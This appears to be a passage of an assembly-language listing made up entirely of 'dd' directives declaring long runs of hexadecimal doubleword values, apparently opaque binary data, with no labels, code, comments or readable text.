dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h
dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
dd 737938h, 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h
dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h
dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h
dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h
dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h
dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h
dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h
dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h
dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh
dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h
dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h
dd 10060h, 43E10000h, 0C6AF0000h, 8CD4505Bh, 1505C2E1h
dd 0CD794971h, 6397E919h, 0BF766188h, 0FCB46086h, 36A819DCh
dd 0ACD337B2h, 0C3F8ED83h, 7EC2CB78h, 0DF39D269h, 495E1AADh
dd 6FEE8560h, 0AD1476DEh, 51BF6116h, 92795193h, 7ADCA6E2h
dd 0F9FEA068h, 530497A7h, 0A6985A0Bh, 38708DFDh, 0E39EBAEh
dd 0B6D9638Ah, 5DE59DE9h, 961D677h, 0C36CCCDAh, 926919F7h
dd 698B80B0h, 6C09F460h, 4BA96A14h, 95A1E77Ch, 92128B1Fh
dd 0E682DEE3h, 4AFC228Ah, 43D0B450h, 610306DDh, 4897ECFDh
dd 8E29B975h, 143041A2h, 0CDACCA73h, 21CB3C8Fh, 542A19F0h
dd 0FBD85795h, 0A3222DB2h, 81370B2Ch, 71539F4Ch, 0FD97F983h
dd 873B48A4h, 234BA044h, 0B158C517h, 0D11DFD94h, 58600D3h
dd 4D5B935Bh, 0E49B86BCh, 877EEC8Fh, 0BFFD4AFBh, 9C99365Eh
dd 0E9BA47E1h, 65ED50CAh, 4F634A27h, 0AD37C264h, 0A27AA8D8h
dd 9970526Eh, 211E7108h, 0D3B202DCh, 1BF331A2h, 14299B0Ah
dd 818FA23Dh, 0D3F28C2Ah, 0ED6EB924h, 0F2AF109Dh, 7EA10EFEh
dd 0AD4ABB73h, 35F0A1C8h, 94896E51h, 0F7241F99h, 0A8D415FBh
dd 0D310136Ah, 77E7539Eh, 0CF6E505Dh, 0FABCF30Fh, 0B3884C5Bh
dd 3A1F32DDh, 78D1B26Fh, 0B783AE10h, 8B6E0BB9h, 0FA6F728Fh
dd 426B95C4h, 0D3CB1202h, 0F42BF170h, 3054D415h, 0ADE256E6h
dd 0E8ABE1C2h, 72207691h, 0B881F19Bh, 0DBB8230Fh, 0AFC23B97h
dd 7B012EF6h, 0B9F8FD01h, 8F3002DAh, 0CDBFA214h, 0ACE35F52h
dd 0DA0CEC19h, 0B0A66D64h, 0DB94F6D3h, 501084F2h, 8785C33Eh
dd 3D7B4CE8h, 66A78CDh, 1F053C1Fh, 486B46A2h, 79809BB7h
dd 38F85BA2h, 2491C9CDh, 5DDD115Ah, 0A28F2D9Fh, 5ECFF5CDh
dd 7E6FA1DBh, 66740F36h, 0D3A9F5Ah, 73DE6E7h, 607A8FFFh
dd 0F9189578h, 718138CDh, 9C94FA0h, 4CFE0C3Eh, 673AFE63h
dd 87F2A8A4h, 5DC45DBDh, 0D676E698h, 0F8825D66h, 8E1FED01h
dd 0E15BDBABh, 4CEEE9A9h, 8282899Dh, 4FEC63DBh, 48A84B59h
dd 7C218623h, 87CEE524h, 6F52DC25h, 0F108A5CAh, 0DB5D1A8Eh
dd 6AF9A583h, 0F21DC58Dh, 1AF2640Dh, 89969B7h, 6F46949Eh
dd 9A83C8FDh, 0FA4C8AEh, 7F468A98h, 3B81AE65h, 489A9525h
dd 0C111B845h, 946357D8h, 0B8D49600h, 2369DCECh, 0D4DD3B90h
dd 915B76E8h, 0D7D84AACh, 62DF507Ah, 560CAB14h, 1780BE79h
dd 38C616F2h, 0A1AE9D58h, 9603A453h, 0C7353BC3h, 4684FAB2h
dd 0CBA8455Fh, 67E1A5Ch, 0A18E059Eh, 0C733ED92h, 84B2A698h
dd 0AD79421Eh, 6C50944Fh, 0F49134CFh, 4CC84195h, 9F204EF0h
dd 26044A54h, 4C50EC10h, 452AC1B9h, 30FE0A8Eh, 0F03190C1h
dd 0ADE4D4D6h, 118543F3h, 0A324D586h, 6FD33B98h, 84F08FC6h
dd 0AF1A197Ah, 0EE0AD61h, 3F888551h, 0FFB65BFAh, 0E0BB69D3h
dd 6E47989Eh, 0CFD0D142h, 4A024468h, 0B381A04Eh, 150856B2h
dd 3A53B6B2h, 1F86EF7Dh, 4A3DDFEFh, 412B4163h, 5A47ECF8h
dd 72B26E92h, 0C99D128Ch, 0CC2ABE0Bh, 4185B904h, 863B22C6h
dd 0C5D287Dh, 7365C3D2h, 8C8FF99Dh, 0CFAE1A2Dh, 919E4937h
dd 6DC0678Fh, 27BF5B4Dh, 0CC9A2FDBh, 7E5D8AA4h, 53DB07DFh
dd 50B5343Dh, 5870E709h, 8B4B4135h, 0E3B44CAh, 79CA6924h
dd 8B3AF0FBh, 71B2595Bh, 0E7E5EE08h, 5C23E8D0h, 9D3FC50Ah
dd 0FE5AFF3Bh, 0BF83E894h, 0A919CD75h, 511D8719h, 4A61AFB6h
dd 49B7F038h, 6B83822Fh, 999F3F5Dh, 7CBC821h, 30EF73F5h
dd 0A91F4452h, 5067B44Ah, 4CCEE1F0h, 9C53831Dh, 0AFC45FF7h
dd 0BE5444C9h, 0F8AB6678h, 0FC12651h, 0E5B0EDFDh, 7467B27Ch
dd 0F7A85076h, 390B51DBh, 695E1E41h, 26969971h, 2B36BD55h
dd 0A040422Ch
dd 0FEBD4187h, 0A35DBDC3h, 0F1C12044h, 0D471CE26h, 80458B9Eh
dd 5A2D5177h, 9F9C8069h, 14016090h, 33F4443Dh, 815D7BBh
dd 2B78F6CBh, 0A64F3B7Ah, 28363724h, 21A536BFh, 0F29F5A85h
dd 0FF18CD9Eh, 67AD8764h, 42E3955h, 13FA3808h, 5887C26Eh
dd 8E70D4E5h, 5496E7D5h, 5CED2D87h, 0CE0558C4h, 0C374810Ch
dd 6FF9A802h, 112D7AAFh, 0D74BE278h, 0E5110059h, 0E85D745Ah
dd 918FE7Eh, 0CB830096h, 0FECD8724h, 0A71C1838h, 4AA9BDB0h
dd 75892AB7h, 0C1AFB07Ch, 0EAC4ECB4h, 92D2186Eh, 5C9597A3h
dd 0F4B89741h, 0EFA00BD0h, 0FD40EACDh, 9F71C8FBh, 5C7EB43Ah
dd 22759A3h, 2DB84EDh, 9E6D0D75h, 8354B447h, 79883349h
dd 0C2766612h, 0FE3978BDh, 0CC44BD75h, 0A16A7CAAh, 5AD75DF8h
dd 544E0247h, 473E9FFFh, 9E82D2F9h, 94464A73h, 0C2150AE1h
dd 0A290483Ch, 0D5A3EE50h, 2D133D61h, 3EF54411h, 0C5DE5E10h
dd 0E05489DBh, 3DEED910h, 0E18FB7B6h, 7765B3A3h, 0E9A0ED9Dh
dd 5845472h, 8EE9AE7Dh, 22D1A196h, 32C21E51h, 8669B6F0h
dd 0A618AA2Ah, 5ECF1290h, 0BB389149h, 3B91593Bh, 9AA128DAh
dd 0FAC61D4Dh, 0C0F742A9h, 0BD3AB0C3h, 47FABEDEh, 9CA9B6CBh
dd 75E1DFB0h, 25255BCCh, 19C617F1h, 355E7AF1h, 34E58447h
dd 367F6CF4h, 0CE3D8393h, 0F399BB31h, 1107894Dh, 85A42AA4h
dd 5413E9D1h, 1406E9ACh, 675C6A69h, 4A8DA5D3h, 0F67E4C97h
dd 0F4FD6F8Ah, 0BFA3FC2h, 65D2E5F1h, 52F5C008h, 0F451C328h
dd 28F953F2h, 0A7F4B3E1h, 5DFF41EEh, 3D94920Ch, 8D8F2F0h
dd 0B85266D9h, 45A77070h, 9A7F70B0h, 1A7F3F75h, 4728C0F8h
dd 71451129h, 0CA0D70F1h, 0CC60FC7Dh, 0F6AA8588h, 0D64534CDh
dd 0D6ABCD61h, 6F5FAB98h, 305C6C12h, 0D5F3BC50h, 1A3BD5Eh
dd 976CE8E0h, 7B200B99h, 0F8649D6Fh, 9F849539h, 0F682A040h
dd 4B3DC1D4h, 206965E3h, 50298096h, 11E35456h, 77807945h
dd 96C32AD9h, 19C98F08h, 22717B90h, 438DF379h, 0AEA6C8C9h
dd 0F501CA52h, 0DBE20EBDh, 9E56E901h, 0CF3A1ABFh, 2D3A2706h
dd 0DC112A3Fh, 4C8350D2h, 7BFBD89Ch, 3F5F7523h, 9BC49575h
dd 9CDBF0E1h, 0F65E0200h, 0DBA1312h, 0AEC6B68Bh, 45608C09h
dd 6A12B809h, 0CCAF77A4h, 0DED9B85Eh, 863AB0AFh, 60783AE6h
dd 921BE29Dh, 5F4CA799h, 14A77C2Fh, 0A3562E68h, 48C13A13h
dd 41E83A8Eh, 70E95962h, 379AB543h, 0A4F58CD3h, 106BEC3Ah
dd 72EE61DCh, 3A1E2F36h, 5969FAh, 961007B6h, 5B783179h
dd 1D6F0A21h, 1A01368Fh, 26DDDADh, 43B20A6Fh, 0AB914AC8h
dd 0AFD145FFh, 3CDD0AFFh, 0DCC3E37Ah, 64F9E46Fh, 9B2899F3h
dd 0A1725B23h, 152E3B62h, 83F6B157h, 0BFE15328h, 0E81BAA17h
dd 0E8221C0h, 0E565C918h, 36006176h, 724B919Bh, 23B06F5h
dd 0FCEEDA2Eh, 0D6005F8h, 517B950Dh, 81AD7533h, 318E34B2h
dd 0FCA76317h, 26307B2Ah, 68454C24h, 0CAC25977h, 48A702FEh
dd 0DCB80DA7h, 0EF83F921h, 0ABB5A604h, 732B4763h, 69A15167h
dd 3F91540Bh, 0C66A985h, 3B6880Ah, 143B7406h, 0E6F058D1h
dd 0D81A789Ch, 5B3AF0EBh, 0B270EF87h, 3F34DD0Dh, 87AA60EEh
dd 524158B9h, 1A9B54D3h, 172A1379h, 32821B98h, 0CDE23B59h
dd 59AF3A85h, 551896EFh, 9C6EBB09h, 0B896D800h, 0DCB818ABh
dd 10364C42h, 907D177Ch, 0C67694B6h, 0F5230975h, 36CEAA24h
dd 0F0DBC84Eh, 0C599FE30h, 5F3C1B4h, 72C361C6h, 3A1B3584h
dd 4876C73Eh, 0FAA0F1A1h, 1162EF45h, 1DF5B366h, 0F3C45FAFh
dd 1D7E3BB7h, 1B90A829h, 0BCA03BB5h, 3A723456h, 91365F37h
dd 846C47E8h, 0A2E2CFCEh, 865F7EF6h, 1349D953h, 969E0A45h
dd 0D04DE926h, 240100A3h, 810FE107h, 0CA2F582Eh, 7FD2089Ah
dd 0F54D7B8Bh, 0F11F1BECh, 0B5D553D1h, 0E91E360Eh, 46A0D779h
dd 28C72D5Ch, 55A42568h, 7B89A137h, 0CA7DCC58h, 0C050D8h
dd 4086334Eh, 8CE5BFCh, 7EBD8BA0h, 7FD83B99h, 9687098Eh
dd 75D4D4DFh, 14CD6B83h, 19A3B78h, 0A3F90276h, 0E53878F7h
dd 0E8493209h, 0F014EAEDh, 93BB733Ch, 0C663DAB6h, 0DEE62F27h
dd 8AA20608h, 28E52861h, 0CC1F406h, 6C405447h, 5CAF61AEh
dd 0E6ED6A86h, 0D36F244h, 136D6AAh, 0E6772AAFh, 0C27CD60Dh
dd 0CBCD951Dh, 97850DACh, 0F55E85DDh, 2CAEDB7Ch, 0DAC9E0D6h
dd 6E40E48Ah, 254BC2FBh, 3AC329B6h, 0F3A518C5h, 418BA697h
dd 480BF16Dh, 81871C94h, 2271D6AFh, 1E1FA9ABh, 69181D20h
dd 440F8699h, 0F76362AEh, 0D14979C9h, 9285EEC3h, 2B010985h
dd 148439E1h, 0F988893Dh, 0BF82DD4Dh, 7B2427Eh, 6469145Fh
dd 76C650EEh, 7FFB20E6h, 0CEA95E96h, 4EFA3B5h, 898EA7BCh
dd 7ED26CF6h, 12873E15h, 0F4AF81Bh, 0B8A56927h, 81B4A5E8h
dd 19D12F9h, 0C4C84D2Dh, 0B428045Eh, 4D17CA2Fh, 32C9D7DAh
dd 0AC4FFD70h, 4F3A8D8Bh, 9D77D689h, 2CA53EF9h, 2CF12B89h
dd 7854B340h, 74BB1248h, 0E47B21C3h, 78DD0270h, 0E8CD0725h
dd 79F7660h, 0C9D42D9Ch, 415C5B38h, 57433368h, 86AC8C62h
dd 8B27E877h, 9E31D34h, 63A06568h, 374D4C4Fh, 0BCFC5B4Bh
dd 87B8FBD9h, 0DE0FB7Eh, 0ADA7133Eh, 0E7DB6E4Ah, 1D35166Dh
dd 93874A71h, 7A10C310h, 0B9887338h, 3C57F715h, 932AA8Ah
dd 670D883h, 6BB057DEh, 0E5A5A21h, 9CC118E0h, 60EC1A42h
dd 0F99F9002h, 6B3EB22Ch, 188E2E68h, 3EAF8B60h, 96A4DE25h
dd 6270ADAEh, 0F929E51Ah, 0F01E9660h, 0B7F57A92h, 0CDD51CF9h
dd 8C2650E4h, 29FA24D3h, 0FCDE6A06h, 9D63B45Eh, 87F3DACFh
dd 65C6FFD8h, 0AB84C238h, 8ADE43C6h, 0D55D5905h, 0BDE96217h
dd 0D62CBCECh, 67E59490h, 0BEFEA251h, 5B19B67Dh, 6C470AEAh
dd 59324D44h, 22C0B694h, 0DAA07AECh, 7EBBB554h, 0BB03CA3Ah
dd 6877D497h, 8BD5CC98h, 170E2212h, 74229750h, 0D4893D19h
dd 22FF7DAAh, 0E0307AC3h, 0A763C99Ah, 964195E8h, 0F4C5DB9Eh
dd 9B47F8FFh, 0FD4E8555h, 86680641h, 2FCE64CDh, 0C7164641h
dd 16C3C61Ah, 7C8480CFh, 538B777h, 855A4F24h, 9D4EB94Ah
dd 5B1BD302h, 0C409B33Dh, 5CE9B7EDh, 0EFEF4D02h, 734787C9h
dd 1123B690h, 0F8FEEE6Ch, 0A72D4915h, 9B583637h, 0DA1DE07Ch
dd 59CA835Dh, 1E756446h, 0BC3A7992h, 51B06422h, 2D7A9CB8h
dd 4E11FEE1h, 309BB585h, 0C2AD007h, 0B003124h, 0EC9BBE70h
dd 91FF8F0Ah, 1581A746h, 48B909F8h, 0AF4EBF42h, 27578E13h
dd 83198546h, 9C31A5Fh, 8765F186h, 0F5693BE9h, 0ACD8D3FAh
dd 7A8F0E8Eh, 81F497A9h, 0E0E70598h, 0B3C3D6FCh, 5145DDBDh
dd 40C28086h, 0B7AF0D19h, 0CE13AE14h, 0F534215Ch, 5A2A2DE3h
dd 0F70CC508h, 6802FD9h, 0D0922999h, 773EB08Bh, 9CB9ADC8h
dd 0FD409A81h, 6F2BA35Dh, 931B8781h, 1D2BE9A6h, 0C334C1B0h
dd 0C926FBE4h, 356A6C1Ah, 8CF4C427h, 0E8B33680h, 0FE9B057Eh
dd 0E0C12429h, 23DF3721h, 0B6508580h, 8159FBEFh, 11ADDDF5h
dd 7D78AE0Ah, 0E9520C76h, 0DA481CAEh, 0FE53E67Eh, 36ABD598h
dd 2B6872C6h, 0DE60C9BEh, 5CB1FBE9h, 0D74CA3DBh, 76BAC8D1h
dd 6D1AB3C0h, 0B641FDBCh, 36EC7AD1h, 0C55CE8D0h, 0ED05E000h
dd 0D5C950C5h, 91875E94h, 7281B38Eh, 87F52103h, 77961719h
dd 714DB626h, 1D91889Eh, 8B7B76FAh, 47799289h, 319D9036h
dd 0B04B28A2h, 0BC68F5B6h, 8B1D8EADh, 0D2AE7EFDh, 0F583B37Eh
dd 0BB55C91Eh, 0C2294041h
dd 40A8583Ch, 0D8854E33h, 0A6C49329h, 137B8847h, 254C34F3h
dd 0C48E0FFh, 0D8D249DEh, 0C76B1B6Eh, 1264A081h, 9410676Ah
dd 3EC01942h, 0C809C98Fh, 17FB9CBAh, 5C93AD04h, 5922BAE3h
dd 0BA64410h, 0CB1A3208h, 389B9BF1h, 27B712C7h, 0E8157B22h
dd 89D92338h, 49237FC3h, 0CD02C516h, 0FB112AF4h, 1D8334E8h
dd 8EF78036h, 7F585D6h, 0DE50C96Bh, 61DF00F0h, 9F0D7AF0h
dd 98538954h, 71472B94h, 0C012D8F7h, 0B24166F7h, 4D3F4ED1h
dd 427A91E3h, 613A201Eh, 0AE163756h, 39420303h, 0C2A40AC2h
dd 20AA80FFh, 7E151CB5h, 4E70D27h, 8EE5DA6h, 0E4EB48F6h
dd 0E5DC69D8h, 2FF6E22Dh, 8D8DE6F2h, 0A97B972Eh, 7B47E438h
dd 4B8ACD91h, 0F16FE26Bh, 0DD323BCCh, 0A0E5234Ch, 0DFC16F71h
dd 0DB84A441h, 0CA9D3EA0h, 42A930A0h, 0C4D05687h, 0EEAB3463h
dd 5EDB9725h, 0DAEB1CCCh, 18908A9Eh, 565780D3h, 9D40D5B7h
dd 0C8A8906Bh, 0FD2711DCh, 5C864F56h, 0B54DC2D1h, 32D3F822h
dd 306457E5h, 1D6B97EBh, 0A6118851h, 3362287Fh, 7AF7BD38h
dd 6638AF11h, 0D8D6B52Ah, 0E7845860h, 0E0E45708h, 2392A74Eh
dd 0B4AE7ADFh, 372893EEh, 30C67945h, 8B578480h, 0D138360h
dd 767126Ah, 80D9B51Ah, 0E9E38AA1h, 56CB7801h, 0D34FBABDh
dd 63D607DDh, 4F76A422h, 0BD1F6238h, 5452DFBh, 3DA73D3Dh
dd 350188E5h, 63F88654h, 9A5C0E18h, 0E6951647h, 3D4C7223h
dd 0C5F77818h, 5E594DCh, 68D48F7Ch, 0D0140269h, 89F834CEh
dd 6912F8B3h, 0AA992BE4h, 2C5D4A00h, 62BE6F6Ah, 0E10F0964h
dd 76BDC72Dh, 0F8E5F746h, 0C872B93Bh, 0B2BAFBB6h, 976F5D35h
dd 9E99CC32h, 181F28B6h, 1722D8EDh, 0F50AD97Bh, 6AD133CDh
dd 0D495D9C3h, 0D7AFBAE4h, 0E35FDA8h, 0EAEF72CAh, 70ADCB28h
dd 3C2E7071h, 15039E55h, 95F476E9h, 78781C38h, 7E4962C9h
dd 91E98h, 17B3A588h, 918D4D6Bh, 2A781003h, 339C02EAh
dd 29B35CEh, 1CA39EE4h, 0B5369568h, 517A5657h, 0ECD9B789h
dd 5DE99006h, 54DE0A89h, 0DD079F02h, 0D59CADD6h, 0E7C56485h
dd 2F9055D5h, 0C9EA6F5Fh, 3FF5D8F0h, 58B2A8E5h, 988DA2F7h
dd 0E434CF99h, 9E84A3B5h, 28102C6Ah, 0AB20FF59h, 0BDEF2044h
dd 36717B49h, 2D7F865Ch, 1F4A771Ch, 252D1274h, 8520E85Eh
dd 2AB55BB6h, 5BC23E0Ch, 0C1B8D159h, 0DB00BCFEh, 0CC7D6CA5h
dd 2B193244h, 34134B7Dh, 3C2AE1FDh, 23DF6C20h, 0A28B6872h
dd 2CA57074h, 0C9EF6126h, 68CBD655h, 304672EFh, 0D416B4BAh
dd 3FB4F919h, 75F6AA2Ch, 4B699532h, 89ECC0F5h, 0CB1DE612h
dd 0D252186Bh, 358A8935h, 915D4C82h, 9FAA3B48h, 77EBC841h
dd 3AC4348Ch, 0A04C0BE2h, 47C05ECFh, 6FBB69C3h, 8D943EFFh
dd 574D3CCAh, 9F82C08Fh, 7E47FCD5h, 0A16B6726h, 0DDAF91BCh
dd 0EC14685Ah, 36E36309h, 286850FDh, 0A87BEC20h, 0FFD02EEEh
dd 2EF2C2E1h, 9B2A5BAEh, 0D51FCFF0h, 8E639470h, 0DA84AC43h
dd 0F4AA5026h, 58D0A9ABh, 9D80F076h, 0F172DDCh, 6ACC04E3h
dd 49344003h, 3B1E7F6h, 2A0A0A0Dh, 0B9822920h, 3C5826E0h
dd 1DA56CAEh, 248E11A2h, 0CD38DD8Ch, 0A6E7B511h, 0E3CE4238h
dd 98E04F1Bh, 0F25378A6h, 49F05F7Ah, 0AD9C4EBEh, 0E27809D9h
dd 0D066DA8Bh, 8C0D10ECh, 45ECE64Ch, 0E8F29D6Eh, 0C726B5F0h
dd 0F6C037FBh, 0E1596CA6h, 0A4B961FBh, 0F6FDBF36h, 3E2F43D2h
dd 9124BDD6h, 0F7640DC6h, 0ECD95277h, 59085F6Ah, 65CB9E30h
dd 31655C96h, 0DAFDC4D2h, 3006033Ch, 85D7378Ah, 0E9E0B55h
dd 8AB2173Ah, 3D1934BBh, 42D37FA7h, 38F2E8D7h, 0C02D4662h
dd 0EBE31276h, 56A1B5B7h, 9CFFBFD3h, 99DF8322h, 9246A6E8h
dd 0F6A215BBh, 0A2EBD3FBh, 6761F581h, 76925B9Ch, 851364E1h
dd 0ABE78621h, 4F41C6E1h, 4A80B652h, 6BD9BFF4h, 0F6ED40h
dd 0F0D822CDh, 0CEB7D51Ch, 0B44970C1h, 0C37CD952h, 75CE7976h
dd 0A8C6CCA7h, 0BF20C9E2h, 0C8EB74FCh, 0B222F78Dh, 26291E58h
dd 9E73A1ECh, 3A8A221Fh, 147676BCh, 7ED47E16h, 0D4F84C69h
dd 0B42CE442h, 34FF1122h, 31550DCBh, 8BD0DA72h, 6AAB3A06h
dd 5D0D3D33h, 770A66ADh, 0BCDD1BECh, 4BF3A1A4h, 578CC2E3h
dd 0D2196B97h, 0A847BB8Ah, 67CE131h, 28C8427h, 0D33F2306h
dd 0D1DE3720h, 0C8FB30DBh, 6FE59D83h, 3C59A906h, 9DBE1905h
dd 6BC0E5EAh, 0C82AD058h, 22E034BEh, 0F94AFBABh, 0F023C2D2h
dd 0B6B3CD6Ch, 57F3B051h, 0C49263BAh, 2FE3AD57h, 16DFF388h
dd 94B6465Ah, 7B092350h, 0E0B5205Ch, 5CEF44DBh, 0F1B900BDh
dd 3E9FB1D4h, 72DCEF0Ah, 92996CCDh, 3A782FBDh, 0E3DC9DFBh
dd 54717B28h, 0D452AA62h, 2E4944CEh, 0B3D075A6h, 0BB774CC6h
dd 0B6469757h, 554886B7h, 494A57B1h, 36FB2956h, 648C7C0Dh
dd 48EBF955h, 0FDDC38EEh, 168FC9ACh, 8D13978Bh, 3CEC9B33h
dd 0A39AA4FDh, 0CAD45F0h, 83A71278h, 0B8BB496Eh, 46053A77h
dd 68483C49h, 0E6C2710Fh, 0D69FF2A8h, 99569761h, 0BC0FBF85h
dd 9A9F9655h, 44D0CCA4h, 79E4F864h, 0FCA6AAF0h, 50496C11h
dd 6FCA620Bh, 8C726DBFh, 0DE5C6373h, 4BD28E33h, 7901FEEDh
dd 6F2A760Ah, 819B901Dh, 0E9C179DCh, 0D3492BD0h, 0D48E27B8h
dd 65E77C52h, 0DC9E8EA4h, 0C606D23Bh, 0C02D5B89h, 82A3ECB4h
dd 0AC033705h, 7739683Bh, 733083B9h, 2A47E126h, 624A619Eh
dd 5925EA09h, 0F2C6D2DAh, 9CCFC4EDh, 0BC1681B7h, 3E3301D2h
dd 0D43B34F2h, 0AA1B4BF6h, 0B2AF8F9Ch, 0C9727D9Fh, 99C0655Bh
dd 6AC9E85Ah, 2D6E10E6h, 0A6447259h, 0A341C6AAh, 4F712562h
dd 0F2E86108h, 5C2A0323h, 7EBA39CBh, 2AF9E350h, 0F1FD182Fh
dd 1F2A6717h, 0D36BF43Bh, 0F80868B2h, 0F96F7DBBh, 0A5422E8Fh
dd 591595F6h, 8484AE30h, 0D3ECC10Ch, 0BDE056A4h, 0A46458B9h
dd 11495691h, 4DBE1579h, 10CB01DEh, 0E6CEDFDh, 0A44A08EAh
dd 10F13A17h, 6C9FC280h, 5E24F782h, 0F5168DE0h, 0D4D772B2h
dd 25A4BF2Fh, 0CF27D4E3h, 75A8D1B6h, 4227F1D9h, 0EB12185Eh
dd 0BD0536E3h, 8BDA484Bh, 3A16D0E8h, 0D7375187h, 2C14BC79h
dd 413EFD05h, 6E2DC4D7h, 0F3E44855h, 826C339Ch, 84CCE399h
dd 40A63A88h, 0DF8108DFh, 0E6692D4Dh, 8B768B80h, 0C9D165EDh
dd 64C2EC0Eh, 0E341F6A4h, 0DFD797D7h, 1C1A4B56h, 89C8BBB7h
dd 25AEA127h, 480BD07h, 0B9392EA7h, 94C6E9DEh, 6A9B4944h
dd 69FA5CCBh, 0C3B43B64h, 0DBE29B2h, 0E0BF5BC0h, 7A753325h
dd 3EBBE7AFh, 6ABB0754h, 0BA1D615Ch, 773A79Bh, 3199C950h
dd 5641C98Eh, 325995FAh, 7AF1A433h, 0D33B0669h, 0FA5422B5h
dd 135321C0h, 0EDDFEB41h, 6E09F87Dh, 6DEFE179h, 0C85D204Fh
dd 4A78240Eh, 66D22048h, 20D49833h, 0D0DED489h, 0C5BDFE86h
dd 0F485CF5h, 0D6C9DBD8h, 0F35A1B03h, 49CDEC49h, 8264F847h
dd 6B1C53E6h, 0D360B7A5h, 1BCBDE98h, 81FFBD9Ah, 0F520781Bh
dd 9AA05DDBh, 90B9C181h, 5889831Dh, 11BF23C8h, 8ADF6D09h
dd 4DE27B1Fh, 316F8161h, 976FD985h, 584A9073h, 7749B001h
dd 0F232C47Ah, 0B74D6E89h, 151F948Dh, 0F635D528h, 173DA0FFh
dd 13D5A993h, 278F3008h, 581A2813h, 2245F497h, 401C8909h
dd 3C9E5AE6h, 5DD04A9Fh, 589A2053h, 0EE87841h, 5F4CC548h
dd 55ACDD8Eh, 1F2B1D06h, 5DD11428h, 3C6B1878h, 70B350Eh
dd 0F9CFD9FFh, 53E2D10Bh, 184A3647h, 3A781A51h, 8643985Bh
dd 8A1B6386h, 9F8287EBh
dd 4F064D39h, 7997B7BFh, 0A24DEAFh, 953BB94Bh, 2C6CE8D0h
dd 77C25151h, 694B75F8h, 73B9A8BFh, 9B204EDEh, 2B57CA92h
dd 11415664h, 1E6D1381h, 7288BA4Fh, 8E2CA306h, 80898E23h
dd 0BE4BC99Bh, 799689DBh, 0E19CD3B7h, 0FE31CE69h, 3A55A9B9h
dd 814F94E0h, 90DAE78Ch, 0B9A1FCD1h, 1354D534h, 0CE496EAFh
dd 0C1DD6355h, 0AA7FDEF4h, 79DD863Bh, 86826D2Dh, 0A6418AF0h
dd 3CABA88Ah, 4173278Bh, 9E1E6A0Eh, 7122D783h, 36EB2504h
dd 3D653C0Dh, 0F5FA482Eh, 6F9F482Fh, 53E62BE0h, 59B9F1BDh
dd 0A877CE9Ah, 0A999419Ah, 31E12544h, 28D247C2h, 6F2A0134h
dd 0ED114CC7h, 3F5E9E9Dh, 9A9A05F3h, 0A3ACCD40h, 0D288A83h
dd 97810490h, 0D2A5BCF2h, 6901DEAh, 0E5253704h, 0C15F6896h
dd 1FE3E58Ah, 236F1B7Ah, 0E167A519h, 0C9151F91h, 31109C05h
dd 2E16C0C2h, 0FC84C957h, 0E9797D1Ch, 9F387416h, 0C5914A93h
dd 3C98280Dh, 408644F1h, 78357283h, 5097F424h, 0C958189Eh
dd 892E2209h, 0D7FF6605h, 3B7CACA9h, 1FFCFF28h, 4A71C84Fh
dd 0B41C5D83h, 0DE5C5DBEh, 0C86F1B5h, 0F07C00E9h, 543D66AFh
dd 64C664A1h, 5155277Ch, 0DD9141C5h, 0B64DC851h, 3C7441Eh
dd 99CE3D72h, 0E2E78E94h, 3A621631h, 0D1FCF9D4h, 0EB05B435h
dd 41FBCB2Dh, 0F4C23C3Fh, 0F67CC8B9h, 8D7909FAh, 0FAA7F8DFh
dd 1A0AEC2Ah, 32300F45h, 0AA6E34C8h, 21E5EC89h, 0F2C85225h
